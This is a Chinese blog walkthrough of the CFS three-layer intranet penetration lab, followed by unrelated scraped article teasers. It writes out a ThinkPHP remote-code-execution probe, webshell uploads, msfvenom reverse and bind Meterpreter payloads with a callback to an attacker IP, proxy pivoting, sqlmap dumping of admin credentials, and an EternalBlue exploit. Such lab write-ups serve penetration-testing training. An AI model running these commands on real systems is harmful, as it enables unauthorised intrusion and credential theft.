CFS三层靶机

参考博客:

CFS三层内网靶场渗透记录【详细指南】 - FreeBuf网络安全行业门户

CFS三层靶机搭建及其内网渗透【附靶场环境】 | TeamsSix

CFS三层网络环境靶场实战 - PANDA墨森 - 博客园 (cnblogs.com)

CFS三层靶机实战--内网横向渗透 - 知乎 (zhihu.com)

CFS靶机实战演练-从外网杀进三层内网,横向渗透拿到Flag-阿里云开发者社区 (aliyun.com)

主机发现

fscan开扫,发现172.25.0.13存活

arget1

端口探测

可以看到Target1存在ftp、ssh、http等端口,且是一个Linux的操作系统。

web渗透

既然存在http服务,那就用浏览器打开看看是个什么

 原来是ThinkPHP 5.X框架,直接想到该框架存在远程命令执行漏洞,那就先用POC测试一下

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

成功出现了PHPinfo界面,说明该版本是存在这在漏洞的,接下来就可以直接上工具写入一句话了

直接工具一把梭,getshell

蚁剑直接连上

注意这里是linux的靶机

 

设置代理

查看自己的IP地址,并根据自己的IP地址及目标靶机的系统类型生成对应的后门文件

root@kali:~# ifconfig
root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf

在kali中配置运行监听模块

root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
msf5 exploit(multi/handler) > set lport 6666
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run

通过蚁剑将shell.elf文件上传到Target1中,并赋予777权限以执行

(www:/www/wwwroot/ThinkPHP/public) $ chmod 777 shell.elf
(www:/www/wwwroot/ThinkPHP/public) $ ./shell.elf

然后就是内网渗透了,第一步肯定是要做内网信息收集了:

此时MSF获取到shell,可以通过meterpreter添加第二层的路由

run autoroute -s 192.168.22.0/24
run autoroute -p这一步也可以使用run post/multi/manage/autoroute自动添加路由

在MSF中添加代理,以便让攻击机访问靶机2,经过多次测试,发现MSF使用socks5代理总是失败,因此这里还是采用了socks4

msf5 > use auxiliary/server/socks4a 
msf5 auxiliary(server/socks4a) > set srvport 2222 
msf5 auxiliary(server/socks4a) > options 
msf5 auxiliary(server/socks4a) > run

修改proxychains-ng的配置文件,这里也可以使用proxychains进行代理,不过前者是后者的升级版,因此这里使用proxychains-ng进行代理

root@kali:~# vim /etc/proxychains.conf
加入以下内容:
socks4 	192.168.88.128 	2222

尝试扫描靶机2,该步骤如果一直提示超时,可以把MSF退出再重新配置

root@kali:~# proxychains4 nmap -Pn -sT ip
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

Target2

获取shell

上一步发现存在80端口,因此我们设置好浏览器代理后,打开看看

访问80端口,看网页源码有惊喜(一个SQL注入):sqlmap一把梭

proxychains4 sqlmap -u "http://ip/index.php?keyword=1&r=vul" --batch
# 爆破bagecms库下的bage_admin表
proxychains4 sqlmap -u "http://ip/index.php?keyword=1&r=vul" -D "bagecms" -T "bage_admin" --dump --batch
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了

密码MD5解开,结果是123qwe,还找到一个flag。然后得找找后台,一波信息收集得知这个CMS是根据参数作路由的,并根据robots.txt的提示可以发现后台地址http://192.168.22.129/index.php?r=admini/public/login,登录可以发现第二个flag

登陆后台,看看有哪些功能

后台里面有文件上传的地方,有编辑主页文件的地方,为了方便,我们直接把一句话写入网站文件中。模板修改文件,写入一句话也可

蚁剑连接:

设置代理

然后生成后门,用蚁剑传到/tmp目录下:

# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
msfvenom -p linux/x64/meterpreter/bind_tcp lport=3210 -f elf > horse2.elf
# 文件上传之后在Webshell执行命令
chmod +x horse2.elf
./horse2.elf
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.129
set LPORT 3210
exploit
run post/multi/manage/autoroute

与之前一样,我们可以添加Target3的路由,这里就不用设置代理了,直接添加路由即可

run autoroute -s 192.168.33.0/24
run autoroute -p

尝试扫描Target3

proxychains4 nmap -Pn -sT 192.168.33.33

Target3

获取shell

从扫描的结果来看,不难看出这是一个开放着445、3389端口的Windows系统,那就先用永恒之蓝攻击试试

msf5 > use exploit/windows/smb/ms17_010_psexec 
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/bind_tcp 
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.33.33 
msf5 exploit(windows/smb/ms17_010_psexec) > options 
msf5 exploit(windows/smb/ms17_010_psexec) > run

成功拿到shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/683792.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【图论经典题目讲解】洛谷 P2149 Elaxia的路线

P2149 Elaxia的路线 D e s c r i p t i o n \mathrm{Description} Description 给定 n n n 个点, m m m 条边的无向图,求 2 2 2 个点对间最短路的最长公共路径 S o l u t i o n \mathrm{Solution} Solution 最短路有可能不唯一,所以公共路…

使用正点原子i.mx6ull加载字符驱动模块chrdevbase

搞了整整两天才整好!踩了不少坑,记录一下 0. 操作基础 操作前需要设置好如下配置 1.开发板和ubuntu能够互相ping通 2.开发板的SD卡中安装好uboot,我用的V2.4版本的,其他版本应该也行 3.准备材料 01_chrdevbase文件 linux-im…

Java类的加载器

package chapter03;//Java种的类主要分为3种 //1.Java核心类库种的类:String,0bject //2.JVM 软件平台开发商 //3.自己写的类,User,Child //类加载器也有3种 //1.BootclassLoader:启动类加载器 // 2.PlatformclassLoader:平台类加m载器 // 3.…

HCIA-HarmonyOS设备开发认证V2.0-轻量系统内核内存管理-静态内存

目录 一、内存管理二、静态内存2.1、静态内存运行机制2.2、静态内存开发流程2.3、静态内存接口2.4、实例2.5、代码分析(待续...)坚持就有收货 一、内存管理 内存管理模块管理系统的内存资源,它是操作系统的核心模块之一,主要包括…

蓝桥杯每日一题------背包问题(三)

前言 之前求的是在特点情况下选择一些物品让其价值最大,这里求的是方案数以及具体的方案。 背包问题求方案数 既然要求方案数,那么就需要一个新的数组来记录方案数。动态规划步骤如下, 定义dp数组 第一步:缩小规模。考虑n个物品…

Spring Boot 笔记 017 创建接口_新增文章

1.1实体类增加校验注释 1.1.1 自定义校验 1.1.1.1 自定义注解 package com.geji.anno;import com.geji.validation.StateValidation; import jakarta.validation.Constraint; import jakarta.validation.Payload; import jakarta.validation.constraints.NotEmpty;import jav…

如何使用 Python 通过代码创建图表

简介 Diagram as Code 工具允许您创建基础架构的架构图。您可以重复使用代码、测试、集成和自动化绘制图表的过程,这将使您能够将文档视为代码,并构建用于映射基础架构的流水线。您可以使用 diagrams 脚本与许多云提供商和自定义基础架构。 在本教程中…

Qt:自定义信号,信号emit,传参问题,信号槽与moc

一、自定义信号,信号emit 1、自定义信号 在头文件中 加入signals: 就可以编写信号 2、emit emit的作用是通知信号发生 二、跨UI控件传参 每次按Dialog添加按钮主控件数字会增长 // .h private slots:void on_btnAdd_clicked(); signals:void sign…

《区块链公链数据分析简易速速上手小册》第8章:实战案例研究(2024 最新版)

文章目录 8.1 案例分析:投资决策支持8.1.1 基础知识8.1.2 重点案例:股票市场趋势预测准备工作实现步骤步骤1: 加载和准备数据步骤2: 特征工程步骤3: 训练模型步骤4: 评估模型 结论 8.1.3 拓展案例 1:基于情感分析的投资策略准备工作实现步骤步…

C# winfrom中NPOI操作EXCEL

前言 1.整个Excel表格叫做工作表:WorkBook(工作薄),包含的叫页(工作表):Sheet;行:Row;单元格Cell。 2.忘了告诉大家npoi是做什么的了,npoi 能够读…

Node.js开发-fs模块

这里写目录标题 fs模块1) 文件写入2) 文件写入3) 文件移动与重命名4) 文件删除5) 文件夹操作6) 查看资源状态7) 相对路径问题8) __dirname fs模块 fs模块可以实现与硬盘的交互,例如文件的创建、删除、重命名、移动等,还有文件内容的写入、读取&#xff…

每日五道java面试题之java基础篇(八)

目录: 第一题.CopyOnWriteArrayList的底层原理是怎样的第二题.Java中有哪些类加载器第三题. 说说类加载器双亲委派模型第四题. GC如何判断对象可以被回收第五题.JVM中哪些是线程共享区 第一题.CopyOnWriteArrayList的底层原理是怎样的 ⾸先CopyOnWriteArrayList内部…

游戏开发的编程算不算是IT行业中难度最大的?

游戏开发的编程算不算是IT行业中难度最大的? 游戏作为当今数字娱乐领域中最引人入胜的产品之一,其背后所依托的程序开发能力也备受关注。作为游戏开发过程中的“幕后英雄”,编程工作的难易程度直接影响到游戏的质量体验和开发效率。 关于游…

如何在 Angular 中将特定按键绑定到 keyup 和 keydown 事件

简介 当在 Angular 2 模板中绑定 keyup 或 keydown 事件时,可以指定 键名。这将应用一个过滤器,只有在按下特定键时才会触发事件。 在本文中,您将学习如何在监听 keyup 和 keydown 事件时使用键名。 使用键名 首先,让我们看一…

Python 装饰器的学习笔记

Python 装饰器的学习笔记 0. Python 装饰器的说明1. 装饰器的基本结构2. 使用装饰器3. 带参数的装饰器4. 类装饰器 0. Python 装饰器的说明 装饰器是Python中一个非常强大的功能,它允许程序员扩展或修改函数的行为而不改变函数本身的代码。装饰器本质上是一个接受函…

Python dict函数

Python中的字典(dict)是一种非常重要且灵活的数据结构,它提供了键值对的存储和访问机制。字典函数(dict())作为创建字典的工具之一,可以从多种数据结构中创建字典对象。在本文中,将深入探讨dict…

2.15数据结构与算法学习日记(分治,二分)

洛谷P1296 奶牛的耳语 题目描述 在你的养牛场,所有的奶牛都养在一排呈直线的牛栏中。一共有 �n 头奶牛,其中第 �i 头牛在直线上所处的位置可以用一个整数坐标 ��(0≤��≤108)pi​(…

算法刷题:有效三角形个数

有效三角形个数 .题目链接题目详情算法原理补充知识点双指针:对撞指针 我的答案 . 题目链接 有效三角形个数 题目详情 算法原理 补充知识点 有效三角形需要满足的条件: ab>cac>bbc>a 其实在满足1的时候,c是最大的,那么2和3是显然成立的,因此我们可以这样解题: 对…

华为OD机试 - 分配土地( Python C C++ JavaGo JS PHP)

题目描述 从前有个村庄,村民们在各种田地上插上小旗子,每个旗子上都标识了一个数字。现在,村民们想要找出一个包含相同数字的最小矩形区域,并将这块土地分配给对村庄做出巨大贡献的村民。我们需要找出这个矩形区域的最大面积。 …

知识图谱简单介绍

知识图谱(Knowledge Graph)是一种用于表达实体、概念及其之间关系的图形数据结构。它通过将现实世界中的各种概念、实体和关系以图形的形式组织起来,实现对知识的表示、存储和推理。知识图谱在许多领域都有广泛的应用,如搜索引擎、…